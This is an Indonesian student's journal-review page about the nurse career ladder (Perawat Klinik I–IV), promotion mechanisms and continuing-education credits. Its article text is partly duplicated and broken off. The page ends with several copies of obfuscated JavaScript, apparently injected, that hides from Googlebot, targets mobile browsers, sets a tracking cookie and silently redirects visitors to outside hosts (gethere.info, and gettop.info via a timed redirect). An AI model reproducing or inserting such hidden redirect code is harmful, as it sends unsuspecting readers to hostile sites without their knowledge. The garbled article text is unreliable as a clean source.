Jurnal Manajemen Karir

 

SISTEM PENGEMBANGAN KARIR PERAWAT

Rika Endah Nurhidayah.*

ABSTRAK

Sistem pengembangan karir perawat sampai saat ini masih belum jelas. Hal ini ada hubungannya dengan bervariasinya jenjang pendidikan perawat. Pendidikan keperawatan diselenggarakan berdasarkan pada kebutuhan akan pelayanan keperawatan, seperti tercantum dalam Undang-Undang Kesehatan No. 23/1992/. Sedangkan dalam Undang-Undang Sistem Kesehatan Nasional No.2/1989 dinyatakan bahwa pendidikan tinggi diperlukan guna menyediakan tenaga profesional. Pendidikan Tinggi di Indonesia telah diatur, pendidikan tersebut dapat berbentuk akademi, politeknik, sekolah tinggi, institut atau perguruan tinggi. Berpedoman kepada Undang-Undang di atas, maka yang dikatakan sebagai tenaga keperawatan yang profesional adalah perawat dengan berlatar belakang pendidikan minimalnya setingkat diploma (D III). Profil perawat profesional merupakan gambaran dan penampilan menyeluruh perawat dalam melakukan aktifitas keperawatan sesuai dengan kode etik keperawatan. Pendidikan berkelanjutan bagi perawat dalam rangka meningkatkan pengetahuan dan keterampilan-keterampilan tersebut sangat diperlukan sehingga sistem pengembangan karir dapat terlaksana. Praktik keperawatan profesional yang merupakan ciri profesi harus tetap dipelihara dan di tingkatkan dalam rangka mempertahankan standar kinerja yang tinggi. Tenaga keperawatan harus selalu mengembangkan dan meningkatkan kemampuan profesionalnya hal ini juga dijabarkan pada KepMenkes RI No. 1239/Menkes/SK/XI/2001 tentang Registrasi Keperawatan.

 

PENDAHULUAN

Sistem pengembangan karir perawat sampai saat ini masih belum di bahas secara jelas. Terlalu bervariasinya jenjang pendidikan perawat pun bisa menjadi salah satu kendala untuk membuat sistem pengembangan karir yang tepat. Pendidikan keperawatan diselenggarakan berdasarkan pada kebutuhan akan pelayanan keperawatan, seperti tercantum dalam Undang-Undang Kesehatan No. 23/1992/ pasal 32 ayat 3 dan 4 pelaksanaan pengobatan dan atau perawatan berdasarkan ilmu kedokteran dan atau ilmu keperawatan, hanya dapat dilaksanakan oleh tenaga kesehatan yang mempunyai keahlian dan kewenangan untuk itu.

Tenaga yang dimaksud dalam ayat tersebut adalah tenaga keperawatan yang lulus dari pendidikan tinggi. Pendidikan Tinggi di Indonesia telah diatur dalam Undang-Undang No.2/1989 tentang Sistem Kesehatan Nasional. Dalam Undang-Undang ini dinyatakan bahwa pendidikan tinggi diperlukan guna menyediakan tenaga profesional. Pendidikan tersebut dapat berbentuk akademi, politeknik, sekolah tinggi, institut atau perguruan tinggi. Berpedoman kepada Undang-Undang di atas, maka yang dikatakan sebagai tenaga keperawatan yang profesional adalah minimalnya berlatar belakang pendidikan setingkat diploma (D III).

Profil perawat profesional merupakan gambaran dan penampilan menyeluruh perawat dalam melakukan aktifitas keperawatan sesuai dengan kode etik keperawatan.

Aktivitas keperawatan meliputi peran dan fungsi pemberian asuhan/pelayanan keperawatan, praktik keperawatan, pengelolaan institusi keperawatan, pendidik klien (individu, keluarga dan masyarakat) serta kegiatan penelitian bidang keperawatan. Perawat profesional juga merupakan individu yang selalu mempunyai rasional, dapat mengakomodasi realita, menerima dirinya, diminati orang lain, mempunyai aktualisasi diri sehingga diperlukan program karir untuk promosi dan sistem pemberian jasa perawat klinik untuk meningkatkan partisipasi serta kepuasan kerja.

Oleh karena itu diperlukan pendidikan berkelanjutan bagi perawat dalam rangka meningkatkan pengetahuan dan keterampilan-keterampilan tersebut sehingga sistem pengembangan karir dapat terlaksana. Praktik keperawatan profesional yang merupakan ciri profesi harus tetap dipelihara dan di tingkatkan dalam rangka mempertahankan standar kinerja yang tinggi. Tenaga keperawatan harus selalu mengembangkan dan meningkatkan kemampuan profesionalnya hal ini juga dijabarkan pada KepMenkes RI No. 1239/Menkes/SK/XI/2001 tentang Registrasi Keperawatan.

 

BENTUK JENJANG PENGEMBANGAN KARIR PERAWAT

Bentuk jenjang pengembangan karir perawat dimulai dari peran perawat sebagai pelaksana asuhan keperawatan. Setiap jenjang akan diuraikan pengalaman dan pendidikan yang harus dimiliki, serta deskripsi umum tentang tugas dan kewenangannya.

1. Perawat Klinik I (Umum).

a. Pengalaman dan Pendidikan.

1.) D III Keperawatan dengan pengalaman 1 tahun.

2.) S1 Keperawatan dengan penga-laman 0 bulan.

 

b. Deskripsi

1.) Memiliki kompetensi membe-rikan asuhan keperawatan dasar.

2.) Diperlukan supervisi dalam memberikan asuhan keperawa-tan.

3.) Berperan sebagai perawat dan pendidik bagi klien.

2. Perawat Klinik II (Dasar).

 

a. Pengalaman dan Pendidikan.

 

 

1.) D III Keperawatan dengan pengalaman 3 tahun.

2.) S1 Keperawatan dengan penga-laman 1 tahun.

 

b. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan dasar dalam lingkup medikal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Diperlukan supervisi terbatas.

3.) Berperan sebagai perawat dan pendidik bagi klien dan keluarga serta pengelola dalam asuhan keperawatan.

 

3. Perawat Klinik III (Lanjut)

 

a. Pengalaman dan Pendidikan.

1.) D III Keperawatan dengan pengalaman 6 tahun.

2.) S1 Keperawatan dengan penga-laman 3 tahun.

3.) Spesialisasi sesuai bidang dengan pengalaman nol.

 

b. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan lanjut dalam lingkup medikal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Sepenuhnya dapat melakukan asuhan keperawatan dengan keputusan sendiri.

3.) Berperan sebagai perawat dan pendidik bagi klien dan keluarga serta mampu mengidentifikasi hal-hal yang perlu diteliti.

 

4. Perawat Klinik IV (Khusus)

 

a. Pengalaman dan Pendidikan

1.) D III Keperawatan dengan pengalaman 9 tahun

2.) S1 Keperawatan dengan pengalaman 6 tahun

3.) Spesialisasi sesuai bidang dengan pengalaman minimal 1 tahun.

 

b. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan super spesialisasi dalam lingkup medi-kal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Sepenuhnya dapat melakukan asuhan keperawatan dengan keputusan sendiri dan supervisor bagi perawat pada jenjang I, II, dan III.

3.) Berperan sebagai :

            Perawat pelaksana secara mandiri.

            Pendidik bagi klien, keluarga, sesama teman dan peserta didik pendidik keperawatan.

            Pengelola asuhan keperawa-tan, supervisor.

            Konsultan dan konselor dalam lingkup bidangnya.

            Peneliti bidang keperawatan.

 

MEKANISME KENAIKAN JENJANG KARIR

Setiap perawat mempunyai hak untuk mencapai jenjang karir I s/d IV. Untuk memperoleh pengakuan kenaikan jenjang, setiap perawat diharuskan mengikuti ketentuan sebagai berikut :

  1. Telah memiliki kemampuan/kompetensi jenjang sebelumnya, Contoh :

Untuk naik ke jenjang PK II maka harus memiliki kompetensi jenjang PK I.

 

Jurnal Keperawatan Rufaidah Sumatera Utara, Volume 1, Mei 2005 26 Jurnal Keperawatan Rufaidah Sumatera Utara, Volume 1, Mei 2005 27

Keterangan :

 

 

PROMOSI TENAGA KEPERAWATAN

Sebagai gambaran untuk menambah wawasan dalam program pengembangan sumber daya manusia khususnya keperawatan, berikut ini diuraikan satu bentuk promosi tenaga keperawatan. Promosi ini sesuai dengan peran perawat yaitu sebagai pelaksana, pendidik, pengelola dan peneliti. Promosi ini memungkinkan perawat untuk memperluas perannya dari Perawat Klinik (PK) menjadi Perawat Manajer (PM), Perawat Pendidik (PP), dan Perawat Riset (PR).

 

PK IV PM IVPP IVPRIVPK III PM IIIPP IIIPRIIIPRIIPRIPP IIPP IPM II PM I PK II PK I Bagan Bentuk Promosi Tenaga Keperawatan Jurnal Keperawatan Rufaidah Sumatera Utara, Volume 1, Mei 2005 28

 

 

DAFTAR KEPUSTAKAAN

Persatuan Perawat Nasional Indonesia. (2002). Pedoman Berkelanjutan bagi Perawat. Jakarta. Departemen Kesehatan Republik Indonesia.

Ali, Z. (2002). Dasar Dasar Keperawatan Profesional. Jakarta: Widya Medika.

Gaffar, La Ode J. (1999). Pengantar Keperawatan Profesional. Jakarta: EGC

KepMenkes RI No. 1239/Menkes/SK/XI/2001 tentang Registrasi Keperawatan.

 

 

  1. Memiliki contoh kredit dari mengikuti Pendidikan Berkelanjutan bagi Perawat (PBP) sebanyak sembilan (9) SKP setara dengan 641 – 960 jam (90 – 140 hari) untuk kurun wa

 

  1. Jika seorang perawat mulai bekerja di suatu institusi pelayanan kesehatan baik RS/Puskesmas dengan membawa pengalaman kerja sebelumnya, maka untuk mendapatkannya pada suatu jenjang dilakukan uji penempatan dan jika perlu mengikuti matrikulasi.

PROMOSI TENAGA KEPERAWATAN

Sebagai gambaran untuk menambah wawasan dalam program pengembangan sumber daya manusia khususnya keperawatan, berikut ini diuraikan satu bentuk promosi tenaga keperawatan. Promosi ini sesuai dengan peran perawat

 

 

Pembahasan

Dalam tugas jurnal kali ini, saya berpendapat  bahwa ternyata pengembangan karir di setiap pekerjaan itu sangat penting sekali. Untuk bahasan ini, saya jelaskan mengenai pengembangan karir perawat. Sistem pengembangan karir perawat sampai saat ini masih belum di bahas secara jelas. Terlalu bervariasinya jenjang pendidikan perawat pun bisa menjadi salah satu kendala untuk membuat sistem pengembangan karir yang tepat. Pendidikan keperawatan diselenggarakan berdasarkan pada kebutuhan akan pelayanan keperawatan, seperti tercantum dalam Undang-Undang Kesehatan No. 23/1992/ pasal 32 ayat 3 dan 4 pelaksanaan pengobatan dan atau perawatan berdasarkan ilmu kedokteran dan atau ilmu keperawatan, hanya dapat dilaksanakan oleh tenaga kesehatan yang mempunyai keahlian dan kewenangan untuk itu. Berpedoman kepada Undang-Undang di atas, maka yang dikatakan sebagai tenaga keperawatan yang profesional adalah minimalnya berlatar belakang pendidikan setingkat diploma (D III).

Aktivitas keperawatan meliputi peran dan fungsi pemberian asuhan/pelayanan keperawatan, praktik keperawatan, pengelolaan institusi keperawatan, pendidik klien (individu, keluarga dan masyarakat) serta kegiatan penelitian bidang keperawatan

BENTUK JENJANG PENGEMBANGAN KARIR PERAWAT

Bentuk jenjang pengembangan karir perawat dimulai dari peran perawat sebagai pelaksana asuhan keperawatan. Setiap jenjang akan diuraikan pengalaman dan pendidikan yang harus dimiliki, serta deskripsi umum tentang tugas dan kewenangannya.

1. Perawat Klinik I (Umum).

A Pengalaman dan Pendidikan.

1.) D III Keperawatan dengan pengalaman 1 tahun.

2.) S1 Keperawatan dengan penga-laman 0 bulan.

B. Deskripsi

1.) Memiliki kompetensi membe-rikan asuhan keperawatan dasar.

2.) Diperlukan supervisi dalam memberikan asuhan keperawa-tan.

3.) Berperan sebagai perawat dan pendidik bagi klien.

 

2. Perawat Klinik II (Dasar).

A. Pengalaman dan Pendidikan.

1.) D III Keperawatan dengan pengalaman 3 tahun.

2.) S1 Keperawatan dengan penga-laman 1 tahun.

B. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan dasar dalam lingkup medikal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Diperlukan supervisi terbatas.

3.) Berperan sebagai perawat dan pendidik bagi klien dan keluarga serta pengelola dalam asuhan keperawatan.

 

3. Perawat Klinik III (Lanjut)

A. Pengalaman dan Pendidikan.

1.) D III Keperawatan dengan pengalaman 6 tahun.

2.) S1 Keperawatan dengan penga-laman 3 tahun.

3.) Spesialisasi sesuai bidang dengan pengalaman nol.

B. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan lanjut dalam lingkup medikal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Sepenuhnya dapat melakukan asuhan keperawatan dengan keputusan sendiri.

3.) Berperan sebagai perawat dan pendidik bagi klien dan keluarga serta mampu mengidentifikasi hal-hal yang perlu diteliti.

 

4. Perawat Klinik IV (Khusus)

A. Pengalaman dan Pendidikan

1.) D III Keperawatan dengan pengalaman 9 tahun

2.) S1 Keperawatan dengan pengalaman 6 tahun

 3.) Spesialisasi sesuai bidang dengan pengalaman minimal 1 tahun.

B. Deskripsi

1.) Memiliki kompetensi memberi-kan asuhan keperawatan super spesialisasi dalam lingkup medi-kal bedah, maternitas, pediatrik, jiwa, komunitas, dan gawat darurat.

2.) Sepenuhnya dapat melakukan asuhan keperawatan dengan keputusan sendiri dan supervisor bagi perawat pada jenjang I, II, dan III.

3.) Berperan sebagai :

  •             Perawat pelaksana secara mandiri.
  •             Pendidik bagi klien, keluarga, sesama teman dan peserta didik pendidik keperawatan.
  •             Pengelola asuhan keperawa-tan, supervisor.
  •             Konsultan dan konselor dalam lingkup bidangnya.
  •             Peneliti bidang keperawatan.

 

MEKANISME KENAIKAN JENJANG KARIR

Setiap perawat mempunyai hak untuk mencapai jenjang karir I s/d IV. Untuk memperoleh pengakuan kenaikan jenjang, setiap perawat diharuskan mengikuti ketentuan sebagai berikut :

1. Telah memiliki kemampuan/kompetensi jenjang sebelumnya, Contoh :

Untuk naik ke jenjang PK II maka harus memiliki kompetensi jenjang PK I.

 2.  Memiliki contoh kredit dari mengikuti Pendidikan Berkelanjutan bagi Perawat (PBP) sebanyak sembilan (9) SKP setara dengan 641 – 960 jam (90 – 140 hari)

 3.   ika seorang perawat mulai bekerja di suatu institusi pelayanan kesehatan baik RS/Puskesmas dengan membawa pengalaman kerja sebelumnya, maka untuk mendapatkannya pada suatu jenjang dilakukan uji penempatan dan jika perlu mengikuti matrikulasi

 

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 